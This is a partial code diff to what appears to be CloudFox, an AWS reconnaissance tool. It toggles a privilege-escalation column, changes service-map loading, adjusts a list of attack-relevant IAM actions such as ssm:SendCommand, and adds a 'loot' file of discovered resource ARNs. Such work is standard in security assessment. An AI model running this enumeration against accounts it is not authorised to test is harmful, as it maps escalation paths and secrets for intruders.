"CanPrivEscToAdmin?",
|
||||
if m.pmapperError == nil {
|
||||
m.output.Headers = []string{
|
||||
"Cluster",
|
||||
"TaskDefinition",
|
||||
"LaunchType",
|
||||
"ID",
|
||||
"External IP",
|
||||
"Internal IP",
|
||||
"RoleArn",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
} else {
|
||||
m.output.Headers = []string{
|
||||
"Cluster",
|
||||
"TaskDefinition",
|
||||
"LaunchType",
|
||||
"ID",
|
||||
"External IP",
|
||||
"Internal IP",
|
||||
"RoleArn",
|
||||
"IsAdminRole?",
|
||||
//"CanPrivEscToAdmin?",
|
||||
}
|
||||
}
|
||||
|
||||
for _, ecsTask := range m.MappedECSTasks {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
ecsTask.Cluster,
|
||||
ecsTask.TaskDefinition,
|
||||
ecsTask.LaunchType,
|
||||
ecsTask.ID,
|
||||
ecsTask.ExternalIP,
|
||||
ecsTask.PrivateIP,
|
||||
ecsTask.Role,
|
||||
ecsTask.Admin,
|
||||
ecsTask.CanPrivEsc,
|
||||
},
|
||||
)
|
||||
if m.pmapperError == nil {
|
||||
for _, ecsTask := range m.MappedECSTasks {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
ecsTask.Cluster,
|
||||
ecsTask.TaskDefinition,
|
||||
ecsTask.LaunchType,
|
||||
ecsTask.ID,
|
||||
ecsTask.ExternalIP,
|
||||
ecsTask.PrivateIP,
|
||||
ecsTask.Role,
|
||||
ecsTask.Admin,
|
||||
ecsTask.CanPrivEsc,
|
||||
},
|
||||
)
|
||||
}
|
||||
} else {
|
||||
for _, ecsTask := range m.MappedECSTasks {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
ecsTask.Cluster,
|
||||
ecsTask.TaskDefinition,
|
||||
ecsTask.LaunchType,
|
||||
ecsTask.ID,
|
||||
ecsTask.ExternalIP,
|
||||
ecsTask.PrivateIP,
|
||||
ecsTask.Role,
|
||||
ecsTask.Admin,
|
||||
//ecsTask.CanPrivEsc,
|
||||
},
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
//utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
@@ -225,7 +259,7 @@ func (m *ECSTasksModule) executeChecks(r string, wg *sync.WaitGroup, dataReceive
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("ecs", r)
|
||||
if err != nil {
|
||||
|
||||
+68
-34
@@ -74,15 +74,15 @@ func (m *EKSModule) EKS(outputFormat string, outputDirectory string, verbosity i
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating EKS clusters for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
// Initialized the tools we'll need to check if any workload roles are admin or can privesc to admin
|
||||
fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
//fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
|
||||
m.iamSimClient = initIAMSimClient(m.IAMSimulatePrincipalPolicyClient, m.Caller, m.AWSProfile, m.Goroutines)
|
||||
|
||||
if m.pmapperError != nil {
|
||||
fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
// if m.pmapperError != nil {
|
||||
// fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// } else {
|
||||
// fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// }
|
||||
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
|
||||
|
||||
wg := new(sync.WaitGroup)
|
||||
@@ -129,37 +129,71 @@ func (m *EKSModule) EKS(outputFormat string, outputDirectory string, verbosity i
|
||||
}
|
||||
|
||||
// add - if struct is not empty do this. otherwise, dont write anything.
|
||||
m.output.Headers = []string{
|
||||
"Service",
|
||||
"Region",
|
||||
"Name",
|
||||
//"Endpoint",
|
||||
"Public",
|
||||
//"OIDC",
|
||||
"NodeGroup",
|
||||
"Role",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
if m.pmapperError == nil {
|
||||
m.output.Headers = []string{
|
||||
"Service",
|
||||
"Region",
|
||||
"Name",
|
||||
//"Endpoint",
|
||||
"Public",
|
||||
//"OIDC",
|
||||
"NodeGroup",
|
||||
"Role",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
} else {
|
||||
m.output.Headers = []string{
|
||||
"Service",
|
||||
"Region",
|
||||
"Name",
|
||||
//"Endpoint",
|
||||
"Public",
|
||||
//"OIDC",
|
||||
"NodeGroup",
|
||||
"Role",
|
||||
"IsAdminRole?",
|
||||
//"CanPrivEscToAdmin?",
|
||||
}
|
||||
}
|
||||
|
||||
// Table rows
|
||||
for i := range m.Clusters {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Clusters[i].AWSService,
|
||||
m.Clusters[i].Region,
|
||||
m.Clusters[i].Name,
|
||||
//m.Clusters[i].Endpoint,
|
||||
m.Clusters[i].Public,
|
||||
//m.Clusters[i].OIDC,
|
||||
m.Clusters[i].NodeGroup,
|
||||
m.Clusters[i].Role,
|
||||
m.Clusters[i].Admin,
|
||||
m.Clusters[i].CanPrivEsc,
|
||||
},
|
||||
)
|
||||
|
||||
for i := range m.Clusters {
|
||||
if m.pmapperError == nil {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Clusters[i].AWSService,
|
||||
m.Clusters[i].Region,
|
||||
m.Clusters[i].Name,
|
||||
//m.Clusters[i].Endpoint,
|
||||
m.Clusters[i].Public,
|
||||
//m.Clusters[i].OIDC,
|
||||
m.Clusters[i].NodeGroup,
|
||||
m.Clusters[i].Role,
|
||||
m.Clusters[i].Admin,
|
||||
m.Clusters[i].CanPrivEsc,
|
||||
},
|
||||
)
|
||||
} else {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Clusters[i].AWSService,
|
||||
m.Clusters[i].Region,
|
||||
m.Clusters[i].Name,
|
||||
//m.Clusters[i].Endpoint,
|
||||
m.Clusters[i].Public,
|
||||
//m.Clusters[i].OIDC,
|
||||
m.Clusters[i].NodeGroup,
|
||||
m.Clusters[i].Role,
|
||||
m.Clusters[i].Admin,
|
||||
//m.Clusters[i].CanPrivEsc,
|
||||
},
|
||||
)
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
var seen []string
|
||||
@@ -186,7 +220,7 @@ func (m *EKSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan s
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("eks", r)
|
||||
if err != nil {
|
||||
|
||||
@@ -180,7 +180,7 @@ func (m *ElasticNetworkInterfacesModule) writeLoot(outputDirectory string) {
|
||||
func (m *ElasticNetworkInterfacesModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan MappedENI) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("ec2", r)
|
||||
if err != nil {
|
||||
|
||||
+1
-1
@@ -213,7 +213,7 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
// }()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("lambda", r)
|
||||
if err != nil {
|
||||
|
||||
+5
-2
@@ -178,7 +178,7 @@ func (m *EnvsModule) Receiver(receiver chan EnvironmentVariable, receiverDone ch
|
||||
func (m *EnvsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan EnvironmentVariable) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, _ := servicemap.IsServiceInRegion("ecs", r)
|
||||
if res {
|
||||
@@ -750,7 +750,10 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
if err == nil {
|
||||
|
||||
// find the number of environment variables in the model in a pointer safe way
|
||||
|
||||
if DescribeModel.PrimaryContainer != nil {
|
||||
|
||||
if len(DescribeModel.PrimaryContainer.Environment) > 0 {
|
||||
name := fmt.Sprintf("[Model] %s", aws.ToString(DescribeModel.ModelName))
|
||||
|
||||
+1
-5
@@ -66,10 +66,6 @@ func (m *FilesystemsModule) PrintFilesystems(outputFormat string, outputDirector
|
||||
if m.AWSProfile == "" {
|
||||
m.AWSProfile = internal.BuildAWSPath(m.Caller)
|
||||
}
|
||||
//populate region in the filesystems module struct
|
||||
for i, region := range m.AWSRegions {
|
||||
m.Regions[i].Region = region
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating filesystems for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
fmt.Printf("[%s][%s] Supported Services: EFS, FSx \n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
@@ -168,7 +164,7 @@ func (m *FilesystemsModule) Receiver(receiver chan FilesystemObject, receiverDon
|
||||
func (m *FilesystemsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan FilesystemObject) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("efs", r)
|
||||
if err != nil {
|
||||
|
||||
@@ -53,15 +53,15 @@ var (
|
||||
"ssm:GetParameter",
|
||||
"s3:ListBucket",
|
||||
"s3:GetObject",
|
||||
"ssm:sSendCommand",
|
||||
"ssm:SendCommand",
|
||||
"ssm:StartSession",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetAuthorizationToken",
|
||||
"eks:UpdateClusterConfig",
|
||||
"lambda:ListFunctions",
|
||||
"ecs:DescribeTaskDefinition",
|
||||
"apprunner:DescribeService",
|
||||
"ec2:DescribeInstanceAttributeInput",
|
||||
"sns:Subscribe",
|
||||
"sqs:SendMessage",
|
||||
}
|
||||
TxtLogger = internal.TxtLogger()
|
||||
)
|
||||
|
||||
+79
-37
@@ -91,15 +91,15 @@ func (m *InstancesModule) Instances(filter string, outputFormat string, outputDi
|
||||
fmt.Printf("[%s][%s] Enumerating EC2 instances in all regions for account %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
|
||||
// Initialized the tools we'll need to check if any workload roles are admin or can privesc to admin
|
||||
fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
//fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
|
||||
m.iamSimClient = initIAMSimClient(m.IAMSimulatePrincipalPolicyClient, m.Caller, m.AWSProfile, m.Goroutines)
|
||||
|
||||
if m.pmapperError != nil {
|
||||
fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
// if m.pmapperError != nil {
|
||||
// fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// } else {
|
||||
// fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// }
|
||||
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
|
||||
wg := new(sync.WaitGroup)
|
||||
|
||||
@@ -220,39 +220,81 @@ func (m *InstancesModule) printInstancesUserDataAttributesOnly(outputFormat stri
|
||||
func (m *InstancesModule) printGeneralInstanceData(outputFormat string, outputDirectory string, dataReceiver chan MappedInstance) {
|
||||
// Prepare Table headers
|
||||
//m.output.Headers = table.Row{
|
||||
m.output.Headers = []string{
|
||||
//"ID",
|
||||
"Name",
|
||||
//"Arn",
|
||||
"ID",
|
||||
"Zone",
|
||||
"State",
|
||||
"External IP",
|
||||
"Internal IP",
|
||||
"Role",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
if m.pmapperError == nil {
|
||||
|
||||
m.output.Headers = []string{
|
||||
//"ID",
|
||||
"Name",
|
||||
//"Arn",
|
||||
"ID",
|
||||
"Zone",
|
||||
"State",
|
||||
"External IP",
|
||||
"Internal IP",
|
||||
"Role",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
} else {
|
||||
m.output.Headers = []string{
|
||||
//"ID",
|
||||
"Name",
|
||||
//"Arn",
|
||||
"ID",
|
||||
"Zone",
|
||||
"State",
|
||||
"External IP",
|
||||
"Internal IP",
|
||||
"Role",
|
||||
"IsAdminRole?",
|
||||
//"CanPrivEscToAdmin?",
|
||||
}
|
||||
}
|
||||
|
||||
//Table rows
|
||||
for _, instance := range m.MappedInstances {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
//table.Row{
|
||||
[]string{
|
||||
//instance.ID,
|
||||
instance.Name,
|
||||
//instance.Arn,
|
||||
instance.ID,
|
||||
instance.AvailabilityZone,
|
||||
instance.State,
|
||||
instance.ExternalIP,
|
||||
instance.PrivateIP,
|
||||
instance.Role,
|
||||
instance.Admin,
|
||||
instance.CanPrivEsc,
|
||||
},
|
||||
)
|
||||
if m.pmapperError == nil {
|
||||
|
||||
for _, instance := range m.MappedInstances {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
//table.Row{
|
||||
[]string{
|
||||
//instance.ID,
|
||||
instance.Name,
|
||||
//instance.Arn,
|
||||
instance.ID,
|
||||
instance.AvailabilityZone,
|
||||
instance.State,
|
||||
instance.ExternalIP,
|
||||
instance.PrivateIP,
|
||||
instance.Role,
|
||||
instance.Admin,
|
||||
instance.CanPrivEsc,
|
||||
},
|
||||
)
|
||||
}
|
||||
} else {
|
||||
for _, instance := range m.MappedInstances {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
//table.Row{
|
||||
[]string{
|
||||
//instance.ID,
|
||||
instance.Name,
|
||||
//instance.Arn,
|
||||
instance.ID,
|
||||
instance.AvailabilityZone,
|
||||
instance.State,
|
||||
instance.ExternalIP,
|
||||
instance.PrivateIP,
|
||||
instance.Role,
|
||||
instance.Admin,
|
||||
//instance.CanPrivEsc,
|
||||
},
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
////m.output.OutputSelector(outputFormat)
|
||||
@@ -308,7 +350,7 @@ func (m *InstancesModule) writeLoot(outputDirectory string) {
|
||||
func (m *InstancesModule) executeChecks(instancesToSearch []string, r string, wg *sync.WaitGroup, dataReceiver chan MappedInstance) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("ec2", r)
|
||||
if err != nil {
|
||||
|
||||
+251
-2
@@ -3,6 +3,7 @@ package aws
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strconv"
|
||||
@@ -83,6 +84,7 @@ type Inventory2Module struct {
|
||||
services []string
|
||||
totalRegionCounts map[string]int
|
||||
mu sync.Mutex
|
||||
resources []string
|
||||
|
||||
// Used to store output data for pretty printing
|
||||
output internal.OutputData2
|
||||
@@ -263,6 +265,7 @@ func (m *Inventory2Module) PrintInventoryPerRegion(outputFormat string, outputDi
|
||||
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
m.PrintGlobalResources(outputFormat, outputDirectory, verbosity, dataReceiver)
|
||||
m.PrintTotalResources(outputFormat)
|
||||
m.writeLoot(m.output.FilePath, verbosity)
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No resources identified, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
@@ -306,6 +309,37 @@ func (m *Inventory2Module) PrintGlobalResources(outputFormat string, outputDirec
|
||||
|
||||
}
|
||||
|
||||
func (m *Inventory2Module) writeLoot(outputDirectory string, verbosity int) {
|
||||
path := filepath.Join(outputDirectory, "loot")
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
lootFile := filepath.Join(path, "inventory.txt")
|
||||
var out string
|
||||
|
||||
for _, resource := range m.resources {
|
||||
out += fmt.Sprintf("%s\n", resource)
|
||||
}
|
||||
|
||||
err = os.WriteFile(lootFile, []byte(out), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
|
||||
if verbosity > 2 {
|
||||
fmt.Println()
|
||||
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("All identified resources"))
|
||||
fmt.Print(out)
|
||||
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), lootFile)
|
||||
|
||||
}
|
||||
|
||||
func (m *Inventory2Module) Receiver(receiver chan GlobalResourceCount2, receiverDone chan bool) {
|
||||
|
||||
defer close(receiverDone)
|
||||
@@ -324,7 +358,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
|
||||
res, err := servicemap.IsServiceInRegion("lambda", r)
|
||||
@@ -545,6 +579,7 @@ func (m *Inventory2Module) getLambdaFunctionsPerRegion(r string, wg *sync.WaitGr
|
||||
var PaginationMarker *string
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "Lambda Functions"
|
||||
var resourceNames []string
|
||||
|
||||
// This for loop exits at the end depending on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
for {
|
||||
@@ -567,13 +602,20 @@ func (m *Inventory2Module) getLambdaFunctionsPerRegion(r string, wg *sync.WaitGr
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(functions.Functions)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, f := range functions.Functions {
|
||||
resourceNames = append(resourceNames, aws.ToString(f.FunctionArn))
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if functions.NextMarker != nil {
|
||||
PaginationMarker = functions.NextMarker
|
||||
} else {
|
||||
PaginationMarker = nil
|
||||
// No more pages, update the module's service map
|
||||
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -602,6 +644,7 @@ func (m *Inventory2Module) getEc2InstancesPerRegion(r string, wg *sync.WaitGroup
|
||||
var PaginationControl *string
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "EC2 Instances"
|
||||
var resourceNames []string
|
||||
|
||||
for {
|
||||
DescribeInstances, err := m.EC2Client.DescribeInstances(
|
||||
@@ -622,13 +665,23 @@ func (m *Inventory2Module) getEc2InstancesPerRegion(r string, wg *sync.WaitGroup
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(DescribeInstances.Reservations)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, reservation := range DescribeInstances.Reservations {
|
||||
for _, instance := range reservation.Instances {
|
||||
arn := "arn:aws:ec2:" + r + ":" + aws.ToString(m.Caller.Account) + ":instance/" + aws.ToString(instance.InstanceId)
|
||||
resourceNames = append(resourceNames, arn)
|
||||
}
|
||||
}
|
||||
|
||||
// The "NextToken" value is nil when there's no more data to return.
|
||||
if DescribeInstances.NextToken != nil {
|
||||
PaginationControl = DescribeInstances.NextToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
// No more pages, update the module's service map
|
||||
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -655,6 +708,7 @@ func (m *Inventory2Module) getEksClustersPerRegion(r string, wg *sync.WaitGroup,
|
||||
var PaginationControl *string
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "EKS Clusters"
|
||||
var resourceNames []string
|
||||
|
||||
for {
|
||||
ListClusters, err := m.EKSClient.ListClusters(
|
||||
@@ -675,13 +729,21 @@ func (m *Inventory2Module) getEksClustersPerRegion(r string, wg *sync.WaitGroup,
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(ListClusters.Clusters)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, cluster := range ListClusters.Clusters {
|
||||
arn := "arn:aws:eks:" + r + ":" + aws.ToString(m.Caller.Account) + ":cluster/" + cluster
|
||||
resourceNames = append(resourceNames, arn)
|
||||
}
|
||||
|
||||
// The "NextToken" value is nil when there's no more data to return.
|
||||
if ListClusters.NextToken != nil {
|
||||
PaginationControl = ListClusters.NextToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
// No more pages, update the module's service map
|
||||
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -708,6 +770,7 @@ func (m *Inventory2Module) getCloudFormationStacksPerRegion(r string, wg *sync.W
|
||||
var PaginationControl *string
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "CloudFormation Stacks"
|
||||
var resourceNames []string
|
||||
|
||||
for {
|
||||
ListStacks, err := m.CloudFormationClient.ListStacks(
|
||||
@@ -730,6 +793,11 @@ func (m *Inventory2Module) getCloudFormationStacksPerRegion(r string, wg *sync.W
|
||||
// change this to only count active ones in the future.
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(ListStacks.StackSummaries)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, stack := range ListStacks.StackSummaries {
|
||||
resourceNames = append(resourceNames, aws.ToString(stack.StackId))
|
||||
}
|
||||
|
||||
// The "NextToken" value is nil when there's no more data to return.
|
||||
if ListStacks.NextToken != nil {
|
||||
PaginationControl = ListStacks.NextToken
|
||||
@@ -737,6 +805,7 @@ func (m *Inventory2Module) getCloudFormationStacksPerRegion(r string, wg *sync.W
|
||||
PaginationControl = nil
|
||||
// No more pages, update the module's service map
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -763,6 +832,7 @@ func (m *Inventory2Module) getSecretsManagerSecretsPerRegion(r string, wg *sync.
|
||||
var PaginationControl *string
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "SecretsManager Secrets"
|
||||
var resourceNames []string
|
||||
|
||||
for {
|
||||
ListSecrets, err := m.SecretsManagerClient.ListSecrets(
|
||||
@@ -783,6 +853,11 @@ func (m *Inventory2Module) getSecretsManagerSecretsPerRegion(r string, wg *sync.
|
||||
// Add this page of results to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(ListSecrets.SecretList)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, secret := range ListSecrets.SecretList {
|
||||
resourceNames = append(resourceNames, aws.ToString(secret.ARN))
|
||||
}
|
||||
|
||||
// The "NextToken" value is nil when there's no more data to return.
|
||||
if ListSecrets.NextToken != nil {
|
||||
PaginationControl = ListSecrets.NextToken
|
||||
@@ -790,6 +865,7 @@ func (m *Inventory2Module) getSecretsManagerSecretsPerRegion(r string, wg *sync.
|
||||
PaginationControl = nil
|
||||
// No more pages, update the module's service map
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -816,6 +892,7 @@ func (m *Inventory2Module) getRdsClustersPerRegion(r string, wg *sync.WaitGroup,
|
||||
var PaginationControl *string
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "RDS DB Instances"
|
||||
var resourceNames []string
|
||||
|
||||
for {
|
||||
DescribeDBInstances, err := m.RDSClient.DescribeDBInstances(
|
||||
@@ -836,12 +913,18 @@ func (m *Inventory2Module) getRdsClustersPerRegion(r string, wg *sync.WaitGroup,
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(DescribeDBInstances.DBInstances)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, instance := range DescribeDBInstances.DBInstances {
|
||||
resourceNames = append(resourceNames, aws.ToString(instance.DBInstanceArn))
|
||||
}
|
||||
|
||||
// The "NextToken" value is nil when there's no more data to return.
|
||||
if DescribeDBInstances.Marker != nil {
|
||||
PaginationControl = DescribeDBInstances.Marker
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -868,6 +951,7 @@ func (m *Inventory2Module) getAPIGatewayvAPIsPerRegion(r string, wg *sync.WaitGr
|
